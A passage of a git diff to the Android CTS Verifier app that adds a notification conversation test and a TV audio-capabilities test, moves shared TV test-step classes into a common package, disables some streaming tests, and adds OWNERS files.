+                    .setName("Person A")
+                    .build();
+
+            Notification n1 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                    .setContentTitle("ConversationOrderingTest")
+                    .setContentText(mTag1)
+                    .setSmallIcon(R.drawable.ic_stat_alice)
+                    .setShortcutId(SHARE_SHORTCUT_ID)
+                    .setStyle(new Notification.MessagingStyle(person)
+                            .setConversationTitle("Bubble Chat")
+                            .addMessage("Hello?",
+                                    SystemClock.currentThreadTimeMillis() - 300000, person)
+                            .addMessage("Is it me you're looking for?",
+                                    SystemClock.currentThreadTimeMillis(), person)
+                    )
+                    .build();
+            mNm.notify(mTag1, mId1, n1);
+
+            mTag2 = UUID.randomUUID().toString();
+            mId2 = mId1 + 1;
+            Notification n2 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                    .setContentTitle("Non-Person Notification")
+                    .setContentText(mTag1)
+                    .setSmallIcon(R.drawable.ic_stat_alice)
+                    .build();
+            mNm.notify(mTag2, mId2, n2);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            status = WAIT_FOR_USER;
+            next();
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
new file mode 100644
index 0000000..4241b61
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -0,0 +1,6 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: CA*.java, Ca*.java, KeyChainTest.java
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
+# Bug component: 189335 = per-file: FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
+per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
index 8354fae..30e665c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
@@ -116,6 +116,8 @@
             "&signature=%s";
 
     private static final Stream[] HTTP_STREAMS = {
+        // TODO(b/150835350): Re-enable H263 test once the clip is updated to profile 0
+        /*
         new Stream("H263 Video, AMR Audio", "http_h263_amr",
                 "http://redirector.gvt1.com/"
                 + "videoplayback?id=271de9756065677e"
@@ -125,6 +127,7 @@
                 + ".1DDA3F999541D2136E6755F16FC44CA972767169"
                 + "&source=youtube"
                 + "&key=ik0&user=android-device-test"),
+        */
         new Stream("MPEG4 SP Video, AAC Audio", "http_mpeg4_aac",
                 "http://redirector.gvt1.com/"
                 + "videoplayback?id=271de9756065677e"
@@ -180,6 +183,8 @@
     private TestListAdapter getStreamAdapter() {
         ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
 
+        // TODO(b/161675976): Re-enable RTSP tests once they can be served reliably.
+        /*
         adapter.add(TestListItem.newCategory("RTSP"));
         addRtspStreamToTest(
                 adapter, "H263 Video, AMR Audio", "rtsp_h263_amr", 13, ITAG_13_SIGNATURE);
@@ -187,6 +192,7 @@
                 adapter, "MPEG4 SP Video, AAC Audio", "rtsp_mpeg4_aac", 17, ITAG_17_SIGNATURE);
         addRtspStreamToTest(
                 adapter, "H264 Base Video, AAC Audio", "rtsp_h264_aac", 18, ITAG_18_SIGNATURE);
+        */
 
         adapter.add(TestListItem.newCategory("HTTP Progressive"));
         for (Stream stream : HTTP_STREAMS) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestSequence.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestSequence.java
new file mode 100644
index 0000000..7b80155
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestSequence.java
@@ -0,0 +1,66 @@
+package com.android.cts.verifier.tv;
+
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * A sequence of {@link TestStepBase}s within a {@link TvAppVerifierActivity}, which are meant to be
+ * executed one after another. The whole sequence passes if all containing test steps pass.
+ */
+public class TestSequence {
+    private List<TestStepBase> steps;
+    private TvAppVerifierActivity context;
+
+    /**
+     * @param context The TvAppVerifierActivity containing this sequence.
+     * @param steps List of the steps contained in the sequence.
+     */
+    public TestSequence(TvAppVerifierActivity context, List<TestStepBase> steps) {
+        this.context = context;
+        this.steps = steps;
+    }
+
+    /**
+     * Initializes the steps in the sequence by creating their UI components, ensuring they can be
+     * executed only in the given order and properly enable the pass/fails buttons of the
+     * surrounding {@link TvAppVerifierActivity}. This method should be called in the
+     * createTestItems() method of the {@link TvAppVerifierActivity} which contains this sequence.
+     */
+    public void init() {
+        if (steps.isEmpty()) {
+            return;
+        }
+
+        // Initialize all containing test steps.
+        steps.stream().forEach(step -> step.createUiElements());
+
+        // After a step is completed we enable the button of the next step.
+        for (int i = 0; i < steps.size() - 1; i++) {
+            final int next = i + 1;
+            steps.get(i).setOnDoneListener(() -> steps.get(next).enableInteractivity());
+        }
+
+        // When the last step is done, mark the sequence as done.
+        steps.get(steps.size() - 1)
+                .setOnDoneListener(() -> onAllStepsDone());
+
+        // Enable the button of the first test step so the user can start it.
+        steps.get(0).enableInteractivity();
+    }
+
+    public String getFailureDetails() {
+        return steps.stream()
+                .filter(step -> !step.hasPassed())
+                .map(step -> step.getFailureDetails())
+                .collect(Collectors.joining("\n"));
+    }
+
+    private void onAllStepsDone() {
+        // The sequence passes if all containing test steps pass.
+        boolean allTestStepsPass = steps.stream().allMatch(step -> step.hasPassed());
+        context.getPassButton().setEnabled(allTestStepsPass);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestStepBase.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestStepBase.java
new file mode 100644
index 0000000..6c9b5a1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestStepBase.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv;
+
+import android.view.View;
+import android.widget.TextView;
+
+import com.android.cts.verifier.R;
+
+import com.google.common.truth.FailureStrategy;
+import com.google.common.truth.StandardSubjectBuilder;
+
+/** Encapsulates the logic of a test step, which displays human instructions. */
+public abstract class TestStepBase {
+    protected final TvAppVerifierActivity mContext;
+
+    private boolean mHasPassed;
+    private Runnable mOnDoneListener;
+    private String mFailureDetails;
+    private StandardSubjectBuilder mAsserter;
+    private View mInstructionView;
+    private String mInstructionText;
+
+    /**
+     * Constructs a test step containing instruction to the user and a button.
+     *
+     * @param context The test activity which this test step is part of.
+     * @param instructionText The text of the test instruction visible to the user.
+     */
+    public TestStepBase(TvAppVerifierActivity context, String instructionText) {
+        this.mContext = context;
+
+        FailureStrategy failureStrategy =
+                assertionError -> {
+                    appendFailureDetails(assertionError.getMessage());
+                    mHasPassed = false;
+                };
+        mAsserter = StandardSubjectBuilder.forCustomFailureStrategy(failureStrategy);
+        mHasPassed = true;
+        mInstructionText = instructionText;
+    }
+
+    public boolean hasPassed() {
+        return mHasPassed;
+    }
+
+    /** Creates the View for this test step in the context {@link TvAppVerifierActivity}. */
+    public void createUiElements() {
+        mInstructionView = mContext.createAutoItem(mInstructionText);
+    }
+
+    /** Enables interactivity for this test step - for example, it enables buttons. */
+    public abstract void enableInteractivity();
+
+    /** Disables interactivity for this test step - for example, it disables buttons. */
+    public abstract void disableInteractivity();
+
+    public void setOnDoneListener(Runnable listener) {
+        mOnDoneListener = listener;
+    }
+
+    public String getFailureDetails() {
+        return mFailureDetails;
+    }
+
+    protected void done() {
+        TvAppVerifierActivity.setPassState(mInstructionView, mHasPassed);
+        if (mOnDoneListener != null) {
+            mOnDoneListener.run();
+        }
+    }
+
+    protected StandardSubjectBuilder getAsserter() {
+        return mAsserter;
+    }
+
+    protected void appendInfoDetails(String infoFormat, Object... args) {
+        String info = String.format(infoFormat, args);
+        String details = String.format("Info: %s", info);
+        appendDetails(details);
+    }
+
+    protected void appendFailureDetails(String failure) {
+        String details = String.format("Failure: %s", failure);
+        appendDetails(details);
+
+        appendMessageToView(mInstructionView, details);
+    }
+
+    protected void appendDetails(String details) {
+        if (mFailureDetails == null) {
+            mFailureDetails = new String();
+        }
+        mFailureDetails += details + "\n";
+    }
+
+    private static void appendMessageToView(View item, String message) {
+        TextView instructions = item.findViewById(R.id.instructions);
+        instructions.setText(instructions.getText() + "\n" + message);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
new file mode 100644
index 0000000..229ce0a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.audio;
+
+import static android.media.AudioFormat.*;
+
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioTrack;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestSequence;
+import com.android.cts.verifier.tv.TestStepBase;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import com.google.common.collect.ImmutableList;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Test to verify Audio Capabilities APIs are correctly implemented.
+ *
+ * <p>This test checks if <br>
+ * <a
+ * href="https://developer.android.com/reference/android/media/AudioTrack#isDirectPlaybackSupported(android.media.AudioFormat,%20android.media.AudioAttributes)">
+ * AudioTrack.isDirectPlaybackSupported()</a> <br>
+ * return correct results when
+ *
+ * <ol>
+ *   <li>No receiver or soundbar is connected
+ *   <li>Receiver or soundbar is connected
+ * </ol>
+ */
+public class AudioCapabilitiesTestActivity extends TvAppVerifierActivity {
+    private static final ImmutableList<AudioFormat> TESTED_AUDIO_FORMATS =
+            ImmutableList.of(
+                    // PCM formats
+                    makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6),
+                    makeAudioFormat(ENCODING_PCM_16BIT, 44100, 8),
+
+                    // AC3 formats
+                    makeAudioFormat(ENCODING_AC3, 44100, 6),
+                    makeAudioFormat(ENCODING_AC3, 44100, 8),
+
+                    // EAC3_JOC formats
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8),
+                    // EAC3 formats
+                    makeAudioFormat(ENCODING_E_AC3, 44100, 8));
+
+    private TestSequence mTestSequence;
+
+    @Override
+    protected void setInfoResources() {
+        setInfoResources(
+                R.string.tv_audio_capabilities_test, R.string.tv_audio_capabilities_test_info, -1);
+    }
+
+    @Override
+    protected void createTestItems() {
+        List<TestStepBase> testSteps = new ArrayList<>();
+        testSteps.add(new TvTestStep(this));
+        testSteps.add(new ReceiverTestStep(this));
+        testSteps.add(new TvTestStep(this));
+        mTestSequence = new TestSequence(this, testSteps);
+        mTestSequence.init();
+    }
+
+    private class TvTestStep extends TestStep {
+        public TvTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    getString(R.string.tv_audio_capabilities_no_receiver_connected),
+                    R.string.tv_start_test);
+        }
+
+        @Override
+        public void runTest() {
+            AudioAttributes audioAttributes =
+                    new AudioAttributes.Builder()
+                            .setUsage(AudioAttributes.USAGE_MEDIA)
+                            .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+                            .build();
+
+            ImmutableList.Builder<String> actualAudioFormatStrings = ImmutableList.builder();
+            for (AudioFormat audioFormat : TESTED_AUDIO_FORMATS) {
+                if (AudioTrack.isDirectPlaybackSupported(audioFormat, audioAttributes)) {
+                    actualAudioFormatStrings.add(toStr(audioFormat));
+                }
+            }
+
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported only returns true for these")
+                    .that(actualAudioFormatStrings.build())
+                    .containsExactlyElementsIn(
+                            ImmutableList.of(
+                                    toStr(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6)),
+                                    toStr(makeAudioFormat(ENCODING_AC3, 44100, 6))));
+        }
+    }
+
+    private class ReceiverTestStep extends TestStep {
+        public ReceiverTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    getString(R.string.tv_audio_capabilities_receiver_connected),
+                    R.string.tv_start_test);
+        }
+
+        @Override
+        public void runTest() {
+            AudioAttributes audioAttributes =
+                    new AudioAttributes.Builder()
+                            .setUsage(AudioAttributes.USAGE_MEDIA)
+                            .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+                            .build();
+
+            ImmutableList.Builder<String> actualAudioFormatStrings = ImmutableList.builder();
+            for (AudioFormat audioFormat : TESTED_AUDIO_FORMATS) {
+                if (AudioTrack.isDirectPlaybackSupported(audioFormat, audioAttributes)) {
+                    actualAudioFormatStrings.add(toStr(audioFormat));
+                    break;
+                }
+            }
+
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported only returns true for these")
+                    .that(actualAudioFormatStrings.build())
+                    .containsExactlyElementsIn(
+                            ImmutableList.of(
+                                    toStr(makeAudioFormat(ENCODING_PCM_16BIT, 41000, 8)),
+                                    toStr(makeAudioFormat(ENCODING_AC3, 44100, 8)),
+                                    toStr(makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8)),
+                                    toStr(makeAudioFormat(ENCODING_E_AC3, 44100, 8))));
+        }
+    }
+
+    /** Returns channel mask for {@code channelCount}. */
+    private static int channelCountToMask(int channelCount) {
+        switch (channelCount) {
+            case 2:
+                return CHANNEL_OUT_STEREO;
+            case 6:
+                return CHANNEL_OUT_5POINT1;
+            case 8:
+                return CHANNEL_OUT_7POINT1_SURROUND;
+            default:
+                return 0;
+        }
+    }
+
+    /** Returns a displayable String message for {@code encodingCode}. */
+    private static String encodingToString(int encodingCode) {
+        switch (encodingCode) {
+            case ENCODING_AC3:
+                return "AC3";
+            case ENCODING_E_AC3:
+                return "E_AC3";
+            case ENCODING_E_AC3_JOC:
+                return "E_AC3_JOC";
+            case ENCODING_PCM_16BIT:
+                return "PCM_16BIT";
+            default:
+                return "Unknown Encoding";
+        }
+    }
+
+    /** Converts Audio format object to string */
+    private static String toStr(AudioFormat audioFormat) {
+        return String.format(
+                "{encoding: %s, channel count: %d}",
+                encodingToString(audioFormat.getEncoding()), audioFormat.getChannelCount());
+    }
+
+    private static AudioFormat makeAudioFormat(int encoding, int sampleRate, int channelCount) {
+        return new AudioFormat.Builder()
+                .setEncoding(encoding)
+                .setSampleRate(sampleRate)
+                .setChannelMask(channelCountToMask(channelCount))
+                .build();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/OWNERS
new file mode 100644
index 0000000..b19e6c1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/OWNERS
@@ -0,0 +1,2 @@
+kritidang@google.com
+blindahl@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/TestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/TestStep.java
new file mode 100644
index 0000000..1956380
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/TestStep.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.verifier.tv.audio;
+
+import android.view.View;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.tv.TestStepBase;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/** Test step containing instruction to the user and a button. */
+public abstract class TestStep extends TestStepBase {
+    protected View mButtonView;
+
+    @StringRes private int mButtonStringId;
+
+    /**
+     * Constructs a test step containing instruction to the user and a button.
+     *
+     * @param context The test activity which this test step is part of.
+     * @param instructionText Text of the test instruction visible to the user.
+     * @param buttonTextId Id of a string resource containing the text of the button.
+     */
+    public TestStep(
+            TvAppVerifierActivity context, String instructionText, @StringRes int buttonStringId) {
+        super(context, instructionText);
+        mButtonStringId = buttonStringId;
+    }
+
+    /** Creates the View for this test step in the context {@link TvAppVerifierActivity}. */
+    @Override
+    public void createUiElements() {
+        super.createUiElements();
+        mButtonView =
+                mContext.createButtonItem(
+                        mButtonStringId,
+                        (View view) -> {
+                            onButtonClickRunTest();
+                        });
+    }
+
+    @Override
+    public void enableInteractivity() {
+        TvAppVerifierActivity.setButtonEnabled(mButtonView, true);
+    }
+
+    @Override
+    public void disableInteractivity() {
+        TvAppVerifierActivity.setButtonEnabled(mButtonView, false);
+    }
+
+
+    public abstract void runTest();
+
+    private void onButtonClickRunTest() {
+        disableInteractivity();
+        runTest();
+        done();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
index 9d4219b..e0c02d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -24,6 +24,8 @@
 import androidx.annotation.StringRes;
 
 import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestSequence;
+import com.android.cts.verifier.tv.TestStepBase;
 import com.android.cts.verifier.tv.TvAppVerifierActivity;
 import com.android.cts.verifier.tv.TvUtil;
 
@@ -102,8 +104,7 @@
 
         @Override
         public void runTest() {
-            DisplayManager displayManager =
-                    (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
             Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
             getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isFalse();
             getAsserter()
@@ -134,8 +135,7 @@
 
         @Override
         public void runTest() {
-            DisplayManager displayManager =
-                    (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
             Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
 
             getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isTrue();
@@ -206,8 +206,7 @@
         private void runTest() {
             try {
                 // Verify the display APIs do not crash when the display is disconnected
-                DisplayManager displayManager =
-                        (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
                 Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
                 display.isHdr();
                 display.getHdrCapabilities();
@@ -224,8 +223,7 @@
         }
 
         private static String getInstructionText(Context context) {
-            DisplayManager displayManager =
-                    (DisplayManager) context.getSystemService(Context.DISPLAY_SERVICE);
+            DisplayManager displayManager = context.getSystemService(DisplayManager.class);
             Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
 
             int[] hdrTypes = display.getHdrCapabilities().getSupportedHdrTypes();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
index a726bcf..2b06bde 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
@@ -24,6 +24,8 @@
 import androidx.annotation.StringRes;
 
 import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestSequence;
+import com.android.cts.verifier.tv.TestStepBase;
 import com.android.cts.verifier.tv.TvAppVerifierActivity;
 import com.android.cts.verifier.tv.TvUtil;
 
@@ -122,8 +124,7 @@
         private void runTest() {
             try {
                 // Verify the display APIs do not crash when the display is disconnected
-                DisplayManager displayManager =
-                        (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
                 Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
                 display.getMode();
                 display.getSupportedModes();
@@ -155,8 +156,7 @@
 
         @Override
         public void runTest() {
-            DisplayManager displayManager =
-                    (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
             Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
             getAsserter()
                     .withMessage("Display.getMode()")
@@ -216,8 +216,7 @@
 
         @Override
         public void runTest() {
-            DisplayManager displayManager =
-                    (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
             Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
 
             getAsserter()
@@ -257,8 +256,7 @@
         }
 
         private static String getInstructionText(Context context) {
-            DisplayManager displayManager =
-                    (DisplayManager) context.getSystemService(Context.DISPLAY_SERVICE);
+            DisplayManager displayManager = context.getSystemService(DisplayManager.class);
             Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
             String supportedModes =
                     Arrays.stream(display.getSupportedModes())
@@ -281,7 +279,7 @@
     }
 
     // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
-    // we want to use fuzzy comparision for frame rates which is not used in Display.Mode.equals().
+    // we want to use fuzzy comparison for frame rates which is not used in Display.Mode.equals().
     private static class Mode {
         public int mWidth;
         public int mHeight;
@@ -305,7 +303,7 @@
         }
     }
 
-    private static class ModeSubject extends Subject<ModeSubject, Display.Mode> {
+    private static class ModeSubject extends Subject {
         private final Display.Mode mActual;
 
         public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/OneButtonTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/OneButtonTestStep.java
index c73fd53..6ee34f3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/OneButtonTestStep.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/OneButtonTestStep.java
@@ -20,6 +20,7 @@
 
 import androidx.annotation.StringRes;
 
+import com.android.cts.verifier.tv.TestStepBase;
 import com.android.cts.verifier.tv.TvAppVerifierActivity;
 
 /** Test step containing instruction to the user and a button. */
@@ -27,11 +28,9 @@
 
     protected View mButtonView;
 
-    @StringRes
-    private int mButtonStringId;
+    @StringRes private int mButtonStringId;
 
-    @StringRes
-    private int mStepNameStringId;
+    @StringRes private int mStepNameStringId;
 
     /**
      * Constructs a test step containing instruction to the user and a button.
@@ -39,11 +38,14 @@
      * @param context The test activity which this test step is part of.
      * @param instructionText The text of the test instruction visible to the user.
      * @param stepNameStringId Id of a string resource containing human readable name of this step
-     *                         to be used  in logs.
+     *     to be used in logs.
      * @param buttonStringId Id of a string resource containing the text of the button.
      */
-    public OneButtonTestStep(TvAppVerifierActivity context, @StringRes int stepNameStringId,
-            String instructionText, @StringRes int buttonStringId) {
+    public OneButtonTestStep(
+            TvAppVerifierActivity context,
+            @StringRes int stepNameStringId,
+            String instructionText,
+            @StringRes int buttonStringId) {
         super(context, instructionText);
         mStepNameStringId = stepNameStringId;
         mButtonStringId = buttonStringId;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
deleted file mode 100644
index 7815dcf..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
+++ /dev/null
@@ -1,66 +0,0 @@
-package com.android.cts.verifier.tv.display;
-
-
-import com.android.cts.verifier.tv.TvAppVerifierActivity;
-
-import java.util.List;
-import java.util.stream.Collectors;
-
-/**
- * A sequence of {@link TestStepBase}s within a {@link TvAppVerifierActivity}, which are meant to be
- * executed one after another. The whole sequence passes if all containing test steps pass.
- */
-public class TestSequence {
-    private List<TestStepBase> steps;
-    private TvAppVerifierActivity context;
-
-    /**
-     * @param context The TvAppVerifierActivity containing this sequence.
-     * @param steps List of the steps contained in the sequence.
-     */
-    public TestSequence(TvAppVerifierActivity context, List<TestStepBase> steps) {
-        this.context = context;
-        this.steps = steps;
-    }
-
-    /**
-     * Initializes the steps in the sequence by creating their UI components, ensuring they can be
-     * executed only in the given order and properly enable the pass/fails buttons of the
-     * surrounding {@link TvAppVerifierActivity}. This method should be called in the
-     * createTestItems() method of the {@link TvAppVerifierActivity} which contains this sequence.
-     */
-    public void init() {
-        if (steps.isEmpty()) {
-            return;
-        }
-
-        // Initialize all containing test steps.
-        steps.stream().forEach(step -> step.createUiElements());
-
-        // After a step is completed we enable the button of the next step.
-        for (int i = 0; i < steps.size() - 1; i++) {
-            final int next = i + 1;
-            steps.get(i).setOnDoneListener(() -> steps.get(next).enableInteractivity());
-        }
-
-        // When the last step is done, mark the sequence as done.
-        steps.get(steps.size() - 1)
-                .setOnDoneListener(() -> onAllStepsDone());
-
-        // Enable the button of the first test step so the user can start it.
-        steps.get(0).enableInteractivity();
-    }
-
-    public String getFailureDetails() {
-        return steps.stream()
-                .filter(step -> !step.hasPassed())
-                .map(step -> step.getFailureDetails())
-                .collect(Collectors.joining("\n"));
-    }
-
-    private void onAllStepsDone() {
-        // The sequence passes if all containing test steps pass.
-        boolean allTestStepsPass = steps.stream().allMatch(step -> step.hasPassed());
-        context.getPassButton().setEnabled(allTestStepsPass);
-    }
-}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
deleted file mode 100644
index 050c549..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.tv.display;
-
-import android.view.View;
-import android.widget.TextView;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.tv.TvAppVerifierActivity;
-
-import com.google.common.truth.FailureStrategy;
-import com.google.common.truth.StandardSubjectBuilder;
-
-/** Encapsulates the logic of a test step, which displays human instructions. */
-public abstract class TestStepBase {
-    protected final TvAppVerifierActivity mContext;
-
-    private boolean mHasPassed;
-    private Runnable mOnDoneListener;
-    private String mFailureDetails;
-    private StandardSubjectBuilder mAsserter;
-    private View mInstructionView;
-    private String mInstructionText;
-
-    /**
-     * Constructs a test step containing instruction to the user and a button.
-     *
-     * @param context The test activity which this test step is part of.
-     * @param instructionText The text of the test instruction visible to the user.
-     */
-    public TestStepBase(TvAppVerifierActivity context, String instructionText) {
-        this.mContext = context;
-
-        FailureStrategy failureStrategy =
-                assertionError -> {
-                    appendFailureDetails(assertionError.getMessage());
-                    mHasPassed = false;
-                };
-        mAsserter = StandardSubjectBuilder.forCustomFailureStrategy(failureStrategy);
-        mHasPassed = true;
-        mInstructionText = instructionText;
-    }
-
-    public boolean hasPassed() {
-        return mHasPassed;
-    }
-
-    /** Creates the View for this test step in the context {@link TvAppVerifierActivity}. */
-    public void createUiElements() {
-        mInstructionView = mContext.createAutoItem(mInstructionText);
-    }
-
-    /** Enables interactivity for this test step - for example, it enables buttons. */
-    public abstract void enableInteractivity();
-
-    /** Disables interactivity for this test step - for example, it disables buttons. */
